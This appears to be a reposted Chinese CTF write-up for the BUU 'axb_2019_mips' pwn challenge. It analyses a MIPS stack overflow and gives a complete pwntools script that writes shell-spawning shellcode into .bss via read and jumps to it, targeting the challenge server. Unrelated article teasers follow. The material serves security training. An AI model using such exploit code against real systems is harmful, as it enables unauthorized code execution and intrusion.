BUU刷题-Pwn-axb_2019_mips(MIPS跳转bss段执行shellcode)

news2024/12/23 13:10:10

解题所涉知识点:

泄露或修改内存数据:

  1. 堆地址:
  2. 栈地址:
  3. libc地址:
  4. BSS段地址:
    劫持程序执行流程:MIPS_ROP
    获得shell或flag:[[MIPS_Shellcode]] && [[MIPS劫持RA寄存器]]

题目类型:
MIPS_Pwn

相关知识点:

信息收集总结

题目信息:

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/axb_2019_mips]
└─$ file ./pwn2
./pwn2: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
                                                                                                                    
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/axb_2019_mips]
└─$ checksec --file=pwn2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   82 Symbols      No      0  3pwn2

libc版本:
wp借鉴:buuoj Pwn writeup 216-220-CSDN博客

程序运行回馈

┌──(kali㉿kali)-[~//Pwn/BUU/MIPS/axb_2019_mips]
└─$ qemu-mipsel -L ./ ./pwn2
Welcome to MIPS pwn!
What's your name: 
brinmon
Hello!, brinmon
aaaaaaaaaaaaaaaaaaaaaaaa

核心伪代码分析:

存在利用的的代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[24]; // [sp+18h] [+18h] BYREF

  alarm(0x3Cu);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  memset(buf, 0, 0x14u);
  puts("Welcome to MIPS pwn!");
  puts("What's your name: ");
  read(0, buf, 0x14u);
  printf("Hello!, %s", buf);
  vuln();
  return 0;
}
ssize_t vuln()
{
  char buf[32]; // [sp+18h] [+18h] BYREF

  return read(0, buf, 0x200u);
}

存在栈溢出

分析:


本地无法打通:

远程打通

攻击思路总结

本地无法打通不知道为什么,通过栈溢出劫持返回地址调用read函数,通过寄存器传参向bss段写入shellcode,之后再劫持返回地址跳转到bss段!

脚本:

import argparse
from pwn import *
from LibcSearcher import *

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()

pwnfile = './pwn2'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')

is_remote = args.r
is_debug = args.d

if is_remote:
    sh = remote('node5.buuoj.cn', 29922)
else:
    if is_debug:
        sh = process(["qemu-mipsel", "-L", "./", "-g", "1234", pwnfile])
    else:
        sh = process(["qemu-mipsel", "-L", "./", pwnfile])

def mygdb():
    if not is_remote and is_debug:
        gdb.attach(sh, """target remote localhost:1234
                            b *0x400818  
                            c
			""")  # brva 0xe93
mygdb()
bss = 0x410B70
text_read = 0x4007E0
sh.sendafter(b"What's your name: \n",b"brinmon")
 

shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')

#ret2shellcode
payload = b'a'*(36-4)
#fp
payload += p32(bss + 0x200 - 0x40 + 0x28)
#调用read向bss段输入shellcode,然后ret到bss段
payload += p32(text_read)
 
sh.sendline(payload)
sleep(1)
payload = b'a'*(0x20+4)
#ra
payload += p32(bss + 0x200 + 0x28)+shellcode
sh.send(payload)
 
sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2203600.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开源文件管理工具File Browser本地部署并一键发布公网远程传输文件

文章目录 前言1.下载安装File Browser2.启动访问File Browser3.安装cpolar内网穿透3.1 注册账号3.2 下载cpolar客户端3.3 登录cpolar web ui管理界面3.4 创建公网地址 4.固定公网地址访问 前言 File Browser是一个开源的文件管理器和文件共享工具,它可以帮助用户轻…

波轮洗衣机、滚筒洗衣机的清理方法

洗衣机主要分为波轮式、滚筒式这2种,波轮式是水平旋转的,滚筒式是竖直旋转的。波轮式洗衣机一般比较小,用于2至3个人的衣服清理;而滚筒式洗衣机则比较大,用于5至6人的衣服清理。 图(1) 波轮洗衣机 图(2) 滚筒洗衣机 不…

龋齿牙齿病变图像分割系统源码&数据集分享

龋齿牙齿病变图像分割系统源码&数据集分享 [yolov8-seg-C2f-DCNV3&yolov8-seg-RepHGNetV2等50全套改进创新点发刊_一键训练教程_Web前端展示] 1.研究背景与意义 项目参考ILSVRC ImageNet Large Scale Visual Recognition Challenge 项目来源AAAI Glo…

发送邮件和随机码的生成

类视图和方法视图区别: 不需要装饰器,只需要继承MethodView,需要使用什么方式就写对应的方法名称,它就能自动匹配 app.route("/delete/",methods["DELETE"])这些就不用写了 但是不写装饰器并不意味着不写路由了&#xff…

高效美发店运营:SpringBoot管理系统详解

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及,互联网成为人们查找信息的重要场所,二十一世纪是信息的时代,所以信息的管理显得特别重要。因此,使用计算机来管理美发门店管理系统的相关信息成为必然。开发…

k8s部署学习

8s的架构 一个kubernetes集群主要是由控制节点(master)、工作节点(node)构成,每个节点上都会安装不同的组件 1 master:集群的控制平面,负责集群的决策 ApiServer : 资源操作的唯一入口,接收用户输入的命令,提供认证、…

MediaPlayer视频播放流程

MediaPlayer视频播放流程(基于Android8.0) 1. MediaPlayer源码分析 1.0 public class MediaPlayer extends PlayerBase implements SubtitleController.Listener, VolumeAutomation, AudioRoutingMediaPayer继承自PlayerBase类,分别实现了SubtitleController Volume…

运筹说 第126期 | 存储论经典例题讲解——随机存储模型

通过上一期,我们已经学习了确定型存储论模型在经济管理中的应用,但其忽略了现实中的随机性和不确定性因素,本期小编选择了一些考虑不确定因素的随机存储模型的典型例题,进行详细讲解。 单周期的随机型存储模型 单周期的随机型存储…

基于springboot模式花店网站的设计与实现(源码+定制+开发)

博主介绍: ✌我是阿龙,一名专注于Java技术领域的程序员,全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师,我在计算机毕业设计开发方面积累了丰富的经验。同时,我也是掘金、华为云、阿里云、InfoQ等平台…

《Linux从小白到高手》进阶实操篇:详解Linux系统调优之服务器硬件优化

List item 本篇介绍Linux服务器硬件调优。硬件调优主要包括CPU、内存、磁盘、网络等关键硬件组。 1. CPU优化 选择适合的CPU: –根据应用需求选择多核、高频的CPU,以满足高并发和计算密集型任务的需求。CPU缓存优化: –确保CPU缓存&#x…

【onnx模型转kmodel】记录和踩坑——nncase-v1.9使用

最近几天一直在找相关资料,坑太多,也可能我菜的成分更多一点吧!记录下来,以观后用; 背景 我手里有一个正点原子的K210的开发板; 刚刚安装了wsl2下的ubuntu22.04 我手里有正点原子的源码,但是…

【Redis入门到精通十一】Redis集群

目录 集群 1.三种分片算法 1.哈希求余算法 2.一致性哈希算法 3.哈希槽分区算法 2.搭建集群环境 3.集群故障处理 4.集群扩容 集群 上篇文章我们了解Redis哨兵的相关操作,使用哨兵只是解决了主节点瘫痪,从节点不能自动变为主节点的问题,…

[ComfyUI]太赞了!阿里妈妈发布升级版 Flux 图像修复模型,更强细节生成,更高融合度以及更大分辨率支持

小伙伴们还记得我们之前介绍的阿里妈妈发布的 Flux 的 ControlNet 图像修复模型不,之前发布的是 Alpha 早期测试版本,说实话和 Flux 原生的重绘其实差距不大,有些方面甚至还是原生的效果更好。 但是现在,Alpha 的升级版本 Beta 版…

基于java的零食销售系统(源码+定制+开发)

博主介绍: ✌我是阿龙,一名专注于Java技术领域的程序员,全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师,我在计算机毕业设计开发方面积累了丰富的经验。同时,我也是掘金、华为云、阿里云、InfoQ等平台…

qt小练习

制作简易闹钟 头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTimer> //定时器类 #include <QDebug> //信息调试类 #include <QMessageBox> //消息对话框类 #include <QTime> //时间类 #include…

【C语言复习】常见概念(零基础)

【C语言复习】常见概念 1、C语言是什么&#xff1f;2、C语言的历史和辉煌3、 编译器的选择VS20223.1编译和链接3.2编译器的对比3.3 VS2022 的优缺点 4、VS项⽬ 和 源⽂件、头⽂件介绍5、第一个C语言程序6、main函数&#xff08;主函数&#xff09;7、printf和库函数8、关键字介…

基于springboot的大学生体质测试管理系统(含源码+sql+视频导入教程)

&#x1f449;文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于springboot的大学生体质测试管理系统1拥有三种角色 管理员&#xff1a;学生管理、教师管理、日常运行管理、运动分析管理、成绩管理、论坛管理、轮播图管理等 教师&#xff1a;登录…

如何在RuoYi-Vue项目中去除`/dev-api`前缀

前言 在使用RuoYi-Vue框架进行Web应用开发时&#xff0c;有时会遇到API路径需要特定前缀的问题。例如&#xff0c;在某些情况下&#xff0c;开发者可能希望移除或更改默认的/dev-api前缀。 问题描述 当使用YApi直接请求后台接口时&#xff0c;无需添加/dev-api前缀。在生成和…

C++第十六节课 万字详细手动实现string类!

std::basic_string std::basic_string 是 C 标准库中定义的一个模板类&#xff0c;它用于表示字符串。C 中的 std::string 实际上是 std::basic_string<char> 的一个特化版本。也就是说&#xff0c;std::string 是 std::basic_string 这个模板类的一个具体实现&#xff0…

DAY29|| 93.复原ip地址 |78.子集 |90.子集Ⅱ

93.复原ip地址 题目&#xff1a;93. 复原 IP 地址 - 力扣&#xff08;LeetCode&#xff09; 有效 IP 地址 正好由四个整数&#xff08;每个整数位于 0 到 255 之间组成&#xff0c;且不能含有前导 0&#xff09;&#xff0c;整数之间用 . 分隔。 例如&#xff1a;"0.1.2.…